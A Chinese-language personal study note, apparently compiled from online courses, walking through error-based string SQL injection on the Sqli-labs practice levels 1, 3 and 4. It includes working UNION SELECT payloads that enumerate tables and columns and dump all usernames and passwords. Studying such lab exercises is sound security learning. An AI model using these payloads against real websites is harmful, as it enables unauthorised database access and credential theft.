声明:
由于笔者能力有限,难免出现各种错误和漏洞。全文仅作为个人笔记,仅供参考。
笔记内容来源于各类网课。
环境:
以Sqli-labs中的less01,03,04为实验环境。
一、实验(GET方式的基于报错的字符型注入-单引号)
Sqli-labs less-01:
1. 使用GET方式传入参数
id的变化,会导致页面发生相应的变化。
2. 测试语句能否报错
我们输入id=3',数据库报错,并且可以看出SQL语句的条件语句为单引号闭合。
可以判断为字符型注入(单引号闭合)。
select columns... from table_name where id='$id'
3. 测试语句能否恶意执行(能不报错)
我输入id=3' and 0 --+,可以看到我们的语句被执行了,并且没有报错。
4. 判断内部查询返回的字段数
使用order by查询字段数量。
得到内部返回的字段数为3个。
5. 判断当前页面使用的字段(查询回显点)
使用union select判断回显位置。并且加上and 0使前面的语句查询结果为空。
得到回显位置为2,3。
6. 获取当前的数据名,用户名
得到当前用户为root,当前数据库为security。
7. 获取users的所有户名和密码
由于后面步骤和之前的一样,我们合并为一个步骤。使用下面的语句获得所有用户的密码。
id=3' and 0 union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema = database()--+
id=3' and 0 union select 1,2,group_concat(column_name)
from information_schema.columns
where table_schema = database() and table_name = 'users'--+
id=3' and 0 union select 1,2,group_concat(concat_ws(':',username,password))
from users --+
二、实验(GET方式的基于报错的字符型注入-双引号+括号)
Sqli-labs less-04:
1. 使用GET方式传入参数
id的改变可以使页面改变。
2. 测试语句能否报错
使用id=1',不报错。
使用id=1",报错。
同时可以看到id在双引号外,还用了括号闭合。
判断出注入类型为字符型注入(双引号、括号闭合)
select columns... from table_name where id=("$id")
3. 测试语句能否恶意执行(能不报错)
id=1") and 0 --+
后面的步骤和第一个实验(less-01)一样。
三、实验(GET方式的基于报错的字符型注入-单引号+括号)
Sqli-labs less-03:
1. 使用GET方式传入参数
id的变化可以引起页面变化。
2. 测试语句能否报错
使用id=1',报错。
根据报错信息,给出的提示,我可以看出这是单引号+括号闭合。
判断这是字符型注入(单引号、括号闭合)。
select columns... from table_name where id=('$id')
3. 测试语句能否恶意执行(能不报错)
使用id=') and 0 --+。测试sql语句可以执行,不报错。
后面的步骤和less-01一样。